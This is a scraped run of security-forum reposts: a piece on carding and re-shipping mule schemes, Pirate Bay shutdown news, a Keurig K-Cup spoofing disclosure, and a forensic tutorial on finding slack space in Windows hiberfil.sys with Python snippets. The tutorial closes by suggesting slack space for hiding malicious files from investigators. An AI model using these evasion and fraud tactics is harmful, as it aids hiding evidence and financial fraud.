retailers have their personnel type in the last four digits on the physical card into the register after the card is swiped. If the numbers don’t match, the card is rejected as a fake. Variant 2 (“Re-shipping”): Rather than making physical cards, in this variation carders use the stolen card data to purchase pre-paid credit cards that are then used to buy store-specific gift cards (Amazon, Best Buy, etc.). Like the “mystery shopper” scheme, recruiters typically use ads and spam emails to entice people, though this time it’s people (especially in the U.S.) seeing “work from home” promises. Sometimes the recruiters will employ a more personalized approach, even going so far as to start a fake “relationship” with the intended target. Then – wait, there’s more – the gift cards are used to purchase items online and those items are shipped to the people responding to the ads, spam or “relationship” overtures. That’s where the “work from home” angle comes in. The people initially receiving the packages directly from an online retailer are called “re-shippers.” People in the United States are used because U.S.-based addresses raise fewer red flags with the retailers. Like the “mystery shoppers,” the re-shippers are the drug mules here (and they are sometimes referred to as “money mules” or “shipping mules”). And, as with the “mystery shopper” scheme, re-shippers can either send items to the recruiter/carder or directly to someone who has “purchased” the item through an auction site. While this may sound a little convoluted, the shell game-like nature of using one card to buy another and then another makes it more difficult for stores to catch onto this scheme before the purchase has already been made and shipped out. After that, it’s generally too late. Sursa: What Happens to Stolen Credit Card Data? | The Security Advocate

https://rstforums.com/forum/92665-tapatalk-xss.rst

Pirate Bay cofounder Peter Sunde says he’s happy to see site gone "The site was ugly, full of bugs, old code and old design." by Cyrus Farivar - Dec 10 2014, 8:17pm GTBST One of the founders of The Pirate Bay (TPB) has bid good riddance to the site that he helped build a decade ago, which may have been definitively shuttered this week. In a Tuesday blog post, Peter Sunde, who was released last month after having served five months in a Swedish prison for his role in aiding copyright infringement via The Pirate Bay, wrote: TPB has become an institution that people just expected to be there. No one willing to take the technology further. The site was ugly, full of bugs, old code and old design. It never changed except for one thing – the ads. More and more ads was filling the site, and somehow when it felt unimaginable to make these ads more distasteful they somehow ended up even worse. The original deal with TPB was to close it down on its tenth birthday. Instead, on that birthday, there was a party in its "honour" in Stockholm. It was sponsored by some sexist company that sent young girls, dressed in almost no clothes, to hand out freebies to potential customers. There was a ticket price to get in, automatically excluding people with no money. The party had a set lineup with artists, scenes and so on, instead of just asking the people coming to bring the content. Everything went against the ideals that I worked for during my time as part of TPB. "The original team handed it over to, well, less soul-ish people to say the least," he concluded. "From the outside I felt that no one had any interest in helping the community if it didn’t eventually pay out in cash." More than five years ago, Sunde told Ars that in 2006, The Pirate Bay ownership was transferred to an unnamed organization, which then transferred ownership to a shady shell corporation called Reservella. " can't reveal any details I know about Reservella because of [non-disclosure agreements], not even who's the owners," he said at the time. Sursa: Pirate Bay cofounder Peter Sunde says he’s happy to see site gone | Ars Technica

Keurig 2.0 Genuine K-Cup Spoofing Vulnerability From: Kenneth Buckler <kenneth.buckler () gmail com> Date: Tue, 9 Dec 2014 13:04:20 -0500 *Overview* Keurig 2.0 Coffee Maker contains a vulnerability in which the authenticity of coffee pods, known as K-Cups, uses weak verification methods, which are subject to a spoofing attack through re-use of a previously verified K-Cup. *Impact* CVSS Base Score: 4.9 Impact Subscore: 6.9 Exploitability Subscore: 3.9 Access Vector: Local Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: Complete Availability Impact: None *Vulnerable Versions* Keurig 2.0 Coffee Maker *Technical Details* Keurig 2.0 is designed to only use genuine Keurig approved coffee K-Cups. However, a flaw in the verification method allows an attacker to use unauthorized K-Cups. The Keurig 2.0 does verify that the K-Cup foil lid used for verification is not re-used. Step 1: Attacker uses a genuine K-Cup in the Keurig machine to brew coffee or hot chocolate. Step 2: After brewing is complete, attacker removes the genuine K-Cup from the Keurig and uses a knife or scissors to carefully remove the full foil lid from the K-Cup, ensuring to keep the full edges intact. Attacker keeps this for use in the attack. Step 3: Attacker inserts a non-genuine K-Cup in the Keurig, and closes the lid. Attacker should receive an "oops" error message stating that the K-Cup is not genuine. Step 4: Attacker opens the Keurig, leaving the non-genuine K-Cup in the Keurig, and carefully places the previously saved genuine K-Cup lid on top of the non-genuine K-Cup, lining up the puncture hole to keep the lid in place. Step 5: Attacker closes the Keurig, and is able to brew coffee using the non-genuine K-Cup. Since no fix is currently available, owners of Keurig 2.0 systems may wish to take additional steps to secure the device, such as keeping the device in a locked cabinet, or using a cable lock to prevent the device from being plugged in when not being used by an authorized user. Please note that a proof of concept is already available online. *Credit: * Proof of concept at KeurigHack.com Vulnerability Writeup by Ken Buckler, Caffeine Security Caffeine Security Video: Sursa: Full Disclosure: Keurig 2.0 Genuine K-Cup Spoofing Vulnerability

Parsing the hiberfil.sys, searching for slack space Implementing functionality that is already available in an available tool is something that has always taught me a lot, thus I keep on doing it when I encounter something I want to fully understand. In this case it concerns the ‘hiberfil.sys’ file on Windows. As usual I first stumbled upon the issue and started writing scripts to later find out someone had written a nice article about it, which you can read here (1). For the sake of completeness I’m going to repeat some of the information in that article and hopefully expand upon it, I mean it’d be nice if I could use this entry as a reference page in the future for when I stumble again upon hibernation files. Our goal for today is going to be to answer the following question: What’s a hiberfil.sys file, does it have slack space and if so how do we find and analyze it? To answer that question will hopefully be answered in the following paragraphs; we are going to look at the hibernation process, hibernation file, it’s file format structure, how to interpret it and finally analyze the found slack space. As usual you can skip the post and go directly to the code. Hibernation process When you put your computer to ‘sleep’ there are actually several ways in which it can be performed by the operating system one of those being the hibernation one. The hibernation process puts the contents of your memory into the hiberfil.sys file so that the state of all your running applications is preserved. By default when you enable hibernation the hiberfil.sys is created and filled with zeros. To enable hibernation you can run the following command in an elevated command shell: powercfg.exe -H on If you want to also control the size you can do: powercfg.exe -H -Size 100 An interesting fact to note is that Windows 7 sets the size of the hibernation file size to 75% of your memory size by default. According to Microsoft documentation (2) this means that hibernation process could fail if it’s not able to compress the memory contents to fit in the hibernation file. This of course is useful information since it indicates that the contest of the hibernation file is compressed which usually will make basic analysis like ‘strings’ pretty useless. if you use strings always go for ‘strings -a <inputfile>’ read this post if you are wondering why. The hibernation file usually resides in the root directory of the system drive, but it’s not fixed. If an administrators wants to change the location he can do so by editing the following registry key as explained by this (3) msdn article: Key Name: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ Value Name: PagingFiles Type: REG_MULT_SZ Data: C:\pagefile.sys 150 500 In the Data field, change the path and file name of the pagefile, along with the minimum and maximum file size values (in megabytes). So if you are performing an incident response or forensic investigation make sure you check this registry key before you draw any conclusion if the hiberfil.sys file is absent from it’s default location. Same goes for creating memory images using hibernation, make sure you get the 100% and write it to a location which doesn’t destroy evidence or where the evidence has already been collected. Where does the slack space come from you might ask? That’s an interesting question since you would assume that each time the computer goes into hibernation mode it would create a new hiberfil.sys file, but it doesn’t. Instead it will overwrite the current file with the contents it wants to save. This is what causes slack space, since if the new data is smaller in size than the already available files the data at the end of the file will still be available even if it’s not referenced by the new headers written to the file. From a forensic standpoint that’s pretty interesting since the unreferenced but available data might contain important information to help the investigation along. If you are working with tools that automatically import / parse or analyse the hiberfil.sys file you should check / ask / test how they handle slack space. In a best case scenario they will inform you about the slack space and try to recover the information, in a less ideal scenario they will inform you that there is slack space but it’s not able to handle the data and in the worst case scenario it will just silently ignore that data and tell you the hibernation file has been processed successfully. Hibernation File structure Now that we know that slack space exists how do we find and process it? First of all we should start with identifying the file format to be able to parse it, which unfortunately isn’t available from Microsoft directly. Luckily for us we don’t need to reverse it (yet?) since there are pretty smart people out there who have already done so. You could read this or this or this to get some very good information about the file format. Let’s look at the parts that are relevant for our purpose of retrieving and analyzing the hibernation slack space. The general overview of the file format is as follow: Hibernation File Format (9) Like you can see in the image above the file format seems reasonably easy to parse if we have the definition of all the headers. The most important headers for us are the “Hibernation File Header” which starts at page zero, the “Memory Table” header which contains a pointer to the next one and the amount of Xpress blocks and the “Xpress image” header which contains the actual memory data. The last two are the headers actually create the chain we want to follow to be able to distinguish between referenced Xpress blocks and blocks which are just lingering around in slack space. The thing to keep in mind is that even though the “Hibernation File Header” contains a lot of interesting information to make a robust tool, it might not be present when we recover a hibernation file. The reason for this is that when Windows resumes from hibernation the first page is zeroed. Luckily it isn’t really needed if you just assume a few constants like page size being 4096 bytes and finding the first Xpress block with a bit of searching around. Let’s have a look at the headers we have been talking about: typedef struct { ULONG Signature; ULONG Version; ULONG CheckSum; ULONG LengthSelf; ULONG PageSelf; UINT32 PageSize; ULONG64 SystemTime; ULONG64 InterruptTime; DWORD FeatureFlags; DWORD HiberFlags; ULONG NoHiberPtes; ULONG HiberVa; ULONG64 HiberPte; ULONG NoFreePages; ULONG FreeMapCheck; ULONG WakeCheck; UINT32 TotalPages; ULONG FirstTablePage; ULONG LastFilePage; PO_HIBER_PREF PerfInfo; ULONG NoBootLoaderLogPages; ULONG BootLoaderLogPages[8]; ULONG TotalPhysicalMemoryCount; } PO_MEMORY_IMAGE, *PPO_MEMORY_IMAGE; The FirstTablePage member is the most important one for us since it contains a pointer to the first memory table. Then again, knowing that the first page might be wiped out, do we really want to parse it when it’s available? Let’s look at the memory table structure: struct MEMORY_TABLE { DWORD PointerSystemTable; UINT32 NextTablePage; DWORD CheckSum; UINT32 EntryCount; MEMORY_TABLE_ENTRY MemoryTableEntries[EntryCount]; }; That’s neat as already expected it contains the NextTablePage member which points to the next memory table. Directly following the memory table we’ll find the Xpress block which have the following header: struct IMAGE_XPRESS_HEADER { CHAR Signature[8] = 81h, 81h, "xpress"; BYTE UncompressedPages = 15; UINT32 CompressedSize; BYTE Reserved[19] = 0; }; It seems this header contains the missing puzzle pieces, since it tells us how big each Xpress block is. So if you followed along, here is the big picture on how it all fits in to be parsed and discover if there is any slack space and if so how much. Find the first MemoryTable Follow pointers until you find the last one Follow all the xpress blocks until the last one Calculate distance from the end of the last block until the end of the file Slack space found There are a few caveats that we need to be aware of (you know this if you already read the references): Every OS version might change the structures and thus their size Everything is page aligned Every memory table entry should correspond to an Xpress block The get the actual compressed size calculate as follow: CompressedSize / 4 + 1 and round it up to 8 Parsing and interpreting the hibernation file The theory sounds pretty straight forward right? The practice however actually made me waste some hours. For one I was assuming the “Hibernation File Header” to be the same across all operating systems, stupid I know. Just didn’t realize it until I was brainstorming with Mitchel Sahertian about why the pointers where not pointing at the correct offsets. This however taught me that when you are writing some proof of concept code you should parse the entire structure, not just reference the structure members you are interested in. Since when you parse the entire structure it gives you more context and the ability to quickly spot that a lot of members contain garbage data. When you are just directly referencing a single member like I was doing, you loose the context and you only get to see one pointer which could virtually be anything. So even after learning this lesson, I still decided to implement the script by just parsing the minimum needed data, even though I used full structures while debugging the code. The most important snippets of the script are highlighted hereafter, the script probably contains bugs although in the few tests I’ve performed it seems to work fine: Finding the first MemoryTable, first we search for an xpress block and then we subtract a full page from it. [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]firstxpressblock = fmm.find(XPRESS_SIG) print "Found Xpress block @ 0x%x" % firstxpressblock firstmemtableoffset = firstxpressblock - PAGE_SIZE[/TD] [/TR] [/TABLE] Finding the pointer to the next MemoryTable in a dynamic way, we want to avoid reversing this structure for every new operating system version or service pack. We start at the beginning of the MemoryTable and force-interpret every four bytes as a pointer, then we check the pointer destination. The pointer destination is checked by verifying that an xpress block follows it immediately, if so it’s valid. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23[/TD] [TD=class: code]def verify_memorytable_offset(offset): """ Verify the table pointer to be valid valid table pointer should have an Xpress block on the next page """ fmm.seek(offset+PAGE_SIZE) correct = False if fmm.read(8) == XPRESS_SIG: correct = True fmm.seek(offset) return correct #could go horribly wrong, seems to work though def find_memorytable_nexttable_offset(data): """ Dynamically find the NextTablePage pointer Verification based on verify_memorytable_offset function """ for i in range(len(data)): toffset = unpack('<I',data[i:(i+4)])[0]*PAGE_SIZE if verify_memorytable_offset(toffset): return i[/TD] [/TR] [/TABLE] After we find the last MemoryTable, we just have to walk all the xpress blocks until the last xpress block and from it’s end till the end of the file we found the slack space: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11[/TD] [TD=class: code]while True: xsize = xpressblock_size(fmm,nxpress) fmm.seek(xsize,1) xh = fmm.read(8) if xh != XPRESS_SIG: break fmm.seek(-8,1) if VERBOSE: print "Xpress block @ 0x%x" % nxpress nxpress = fmm.tell() print "Last Xpress block @ 0x%x" % nxpress[/TD] [/TR] [/TABLE] Analyzing the found hibernation slack space So after all this how do we even know this slack space is really here and can we even extract something useful from it? First of all let’s compare our output to that of volatility, after all it’s the de facto, and in my opinion best, memory analysis tool out there. One of the things you can for example do with volatility is convert the hibernation file into a raw memory file, volatility doesn’t support direct hibernation file analysis. Before converting it however I added two debug lines to the file ‘volatility/plugins/addrspaces/hibernate.py’ Printing the memory table offset: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]NextTable = MemoryArray.MemArrayLink.NextTable.v() print "memtableoff %x" % NextTable # This entry count (EntryCount) should probably be calculated[/TD] [/TR] [/TABLE] Printing the xpress block offset: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]XpressHeader = obj.Object("_IMAGE_XPRESS_HEADER", XpressHeaderOffset, self.base) XpressBlockSize = self.get_xpress_block_size(XpressHeader) print "xpressoff %x" % XpressHeaderOffset return XpressHeader, XpressBlockSize[/TD] [/TR] [/TABLE] With this small modification I’m able to compare the output of my script to the output of volatility: Volatility output: ./vol.py -f ~/p/find_hib_slack/hibfiles/a.sys –profile=Win7SP0x86 imagecopy -O ~/p/find_hib_slack/hibfiles/raw.a.img […] memtableoff 10146 xpressoff 10147000 xpressoff 1014f770 xpressoff 101589f0 xpressoff 10160240 xpressoff 10166a98 xpressoff 1016c7a8 xpressoff 10172448 xpressoff 10179b60 xpressoff 1017ff50 xpressoff 10181af8 xpressoff 10181d58 xpressoff 10183790 xpressoff 101877e0 xpressoff 1018c290 xpressoff 10192270 xpressoff 10195890 xpressoff 1019b680 xpressoff 101a0d50 xpressoff 101a5258 xpressoff 101a8608 xpressoff 101aa3e8 xpressoff 101adc70 xpressoff 101b2de0 That looks pretty clear, the last memory table is at offset 0x10146 and the last xpress block is at offset 0x101b2de0 My script: ./find_hib_slack.py hibfiles/a.sys Last MemoryTable @ 0x10146000 Xpress block @ 0x10147000 Xpress block @ 0x1014f770 Xpress block @ 0x101589f0 Xpress block @ 0x10160240 Xpress block @ 0x10166a98 Xpress block @ 0x1016c7a8 Xpress block @ 0x10172448 Xpress block @ 0x10179b60 Xpress block @ 0x1017ff50 Xpress block @ 0x10181af8 Xpress block @ 0x10181d58 Xpress block @ 0x10183790 Xpress block @ 0x101877e0 Xpress block @ 0x1018c290 Xpress block @ 0x10192270 Xpress block @ 0x10195890 Xpress block @ 0x1019b680 Xpress block @ 0x101a0d50 Xpress block @ 0x101a5258 Xpress block @ 0x101a8608 Xpress block @ 0x101aa3e8 Xpress block @ 0x101adc70 Last Xpress block @ 0x101b2de0 Start of slack space @ 270223752 Total file size 1073209344 Slackspace size 765 megs At least we know that the parsing seems to be ok, since our last MemoryTable offset and our last xpress offset match the ones from volatility. We can also see that the end of the last xpress block is way before the end of the file. This indicates that the space in between might contain some interesting data. From a memory forensic perspective it’s logical that volatility doesn’t parse this since the chances of being able to extract any meaningful structured data from it are reduced in comparison with a normal memory image or hibernation file. You can use the output to carve out the slack space with dd if you want to further analyze it, for example like this: dd if=<inputfile> of=<slack.img> bs=1 skip=<start_of_slackspace> The thing is, like with all slack space it can contain virtually anything. If you are really lucky you’ll find nice new MemoryTables and xpress blocks. If you are less lucky you’ll only find partial xpress blocks. For now I’ve opted for medium optimism and assumed we’ll at least be able to find full xpress blocks. So I wrote another scripts which you can use to extract and decompress blocks from a blob of data and write it to a file. After this you can try your luck with strings for example or volatility plugins yarascan or psscan. Here is some example output: ./bulk_xpress_decompress.py hibfiles/a.sys 270223752 Advancing to offset 270223752 Xpress block @ 0x101b65c0 size: 20824 Xpress block @ 0x101bb718 size: 17760 Xpress block @ 0x101bfc78 size: 17240 Xpress block @ 0x101c3fd0 size: 20424 Xpress block @ 0x101c8f98 size: 21072 Xpress block @ 0x101ce1e8 size: 16712 The script also writes all the decompressed output to a file called ‘decompressed.slack’. I use the decompression file from volatility, hope I didn’t mess up any license requirements, since I just included it in it’s entirety. Conclusion Sometimes you really have to dive into a file format to fully understand it, it won’t always end in glorious victory, but you’ll learn a lot during the development of your own script. Also the slack space is a nice place to store your malicious file. I’m taking a guess here, but I assume that if you enlarge the hibernation file, Windows will be fine with it. As long as the incident response or forensic investigator doesn’t look at it you’ll be fine with it and get away without your stash being discovered due to the fact that most tools ignore the slack space. References SANS Digital Forensics and Incident Response Blog | Hibernation Slack: Unallocated Data from the Deep Past | SANS Institute http://download.microsoft.com/download/7/E/7/7E7662CF-CBEA-470B-A97E-CE7CE0D98DC2/HiberFootprint.docx http://msdn.microsoft.com/en-us/library/ms912851(v=winembedded.5).aspx Change hibernation file location [*]http://msdn.microsoft.com/en-us/library/windows/desktop/aa373229(v=vs.85).aspx System power states [*]lcamtuf's blog: PSA: don't run 'strings' on untrusted files (CVE-2014-8485) [*]MoonSols Developer Network - MSDN [*]http://www.blackhat.com/presentations/bh-usa-08/Suiche/BH_US_08_Suiche_Windows_hibernation.pdf [*]http://sandman.msuiche.net/docs/SandMan_Project.pdf [*]http://stoned-vienna.com/downloads/Hibernation%20File%20Attack/Hibernation%20File%20Format.pdf [*]Hibernation File Attack - Peter Kleissner [*]https://github.com/volatilityfoundation Sursa: Parsing the hiberfil.sys, searching for slack space | DiabloHorn

[h=1]Pirate site The Pirate Bay goes down, then sails for Costa Rica[/h] Mark Hachman @markhachman The original home of The Pirate Bay, probably the Web’s highest-profile site for copyrighted movies, music, and software, is no longer online. However, at least a placeholder is alive on a Costa Rican domain—though not much more than that. TorrentFreak first noted the outage. The site’s reporters said that they had received a statement from Paul Pintér, Sweden's police national coordinator for IP enforcement, claiming that there had been a raid on a server room owned by The Pirate Bay at a site in Stockholm. According to earlier reporting from the site, however, The Pirate Bay had moved to a cloud-based infrastucture that used 21 “virtual servers” controlled by a load balancer. The idea, according to The Pirate Bay, was that the distributed architecture would make it “raid-proof,” as the site could simply be moved from domain to domain. Whether that’s the case or not, time will tell. The Pirate Bay’s Twitter feed has gone dark since Dec. 3. Related sites, such Suprbay.org, are also offline, as are Bayimg.com and Pastebay.net. The mobile version of The Pirate Bay, themobilebay.org, also timed out when PCWorld tried to access it. Want to learn more about the history of The Pirate Bay? Check out the timeline that TechHive constructed last year. Why this matters: The Pirate Bay has served both as a rallying point both for those who are too cheap to pay for electronic media as well as more civic-minded folk who used the site as a form or protest against increasingly draconian copyright laws.The Pirate Bay has always touted itself as the “most resilient” pirate site on the Web; we’ll find out exactly how resilient over the course of the next few days, it seems. Sursa: Pirate site The Pirate Bay goes down, then sails for Costa Rica | PCWorld http://thepiratebay.cr/

S-au miscat destul de repede: https://thepiratebay.cr/

Swedish police raid The Pirate Bay and knock the site offline by Richard Lawler | @Rjcc | 1 hr ago 16 Despite The Pirate Bay's efforts to escape an increasingly hostile environment in Sweden, the torrent site has been taken offline today. TorrentFreak and Swedish paper Dagens Nyheter report this is the result of a police raid as confirmed by Fredrick Ingblad, a special prosecutor for file sharing cases. The Rights Alliance is a local group backed by the music and film industries, and it took credit for the shutdown, claiming its criminal complaint lead to the action and called Pirate Bay an illegal commercial service. Only time will tell if this shutdown sticks, but TorrentFreak says it is affecting the site's forum Suprbay, as well as Bayimg.com and Pastebay.net. [image credit: shutterstock] Sursa: Swedish police raid The Pirate Bay and knock the site offline

Cam non-tehnice ceva prezentari. Da, stiu, probabil sunt mult mai multi interesati de ce a facut jurnalista X, dar sunt si persoane interesate de kernel exploitation.